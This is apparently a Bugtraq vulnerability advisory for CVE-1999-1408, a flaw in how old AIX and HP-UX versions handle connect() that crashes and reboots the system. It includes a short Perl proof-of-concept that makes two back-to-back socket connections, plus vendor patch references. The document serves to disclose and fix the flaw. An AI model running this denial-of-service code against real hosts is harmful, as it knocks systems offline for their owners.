Multiple Vendor connect() Denial of Service Vulnerability

Bugtraq ID:	352
Class:	Input Validation Error
CVE:	CVE-1999-1408
Remote:	Yes
Local:	Yes
Published:	Mar 05 1997 12:00AM
Updated:	Jul 11 2009 12:16AM
Credit:	This bug was posted to the Bugtraq mailing list by Cahya Wirawan <[email protected]> on Wed, 5 March 1997.
Vulnerable:	IBM AIX 4.1.5 IBM AIX 4.1.4 IBM AIX 4.1.3 IBM AIX 4.1.2 IBM AIX 4.1.1 IBM AIX 4.1 HP HP-UX 10.20 HP HP-UX 10.1 0 HP HP-UX 9.5
Not Vulnerable:	IBM AIX 4.3 IBM AIX 4.2.1 IBM AIX 4.2 IBM AIX 3.2.5 IBM AIX 3.2.4 IBM AIX 3.2 IBM AIX 3.1

Multiple Vendor connect() Denial of Service Vulnerability

Certain versions of AIX and HP/UX contained a bug in the way the OS handled the connect system call. The connect call is used to initiate a connection on a socket. Because of the flaw in the handling code under AIX certain versions will reboot when given two connects, one to a fixed port (a number of different ports were found to trigger this behaviour) and then another random port connection immediately thereafter.

Multiple Vendor connect() Denial of Service Vulnerability

#!/usr/local/bin/perl5
use Socket;

socket (SOCK,AF_INET,SOCK_STREAM,0);
$iaddr = inet_aton('localhost');
$paddr = sockaddr_in('23',$iaddr);
connect SOCK,$paddr;
shutdown SOCK,2;
$paddr = sockaddr_in('24',$iaddr);
connect SOCK,$paddr;

Multiple Vendor connect() Denial of Service Vulnerability

Solution:
Hewlett Packard has the following patch available:

PHNE_9102 (ARPA transport cumulative patch)

IBM Has the following APAR Available:

APAR # IX66819

Multiple Vendor connect() Denial of Service Vulnerability

References:

• HP Electronic Support Center for Europe (Hewlett Packard)
  
• HP Electronic Support Center for US, Canada, Asia-Pacific, & Latin-America (Hewlett Packard)
  
• IBM Support Databases (IBM)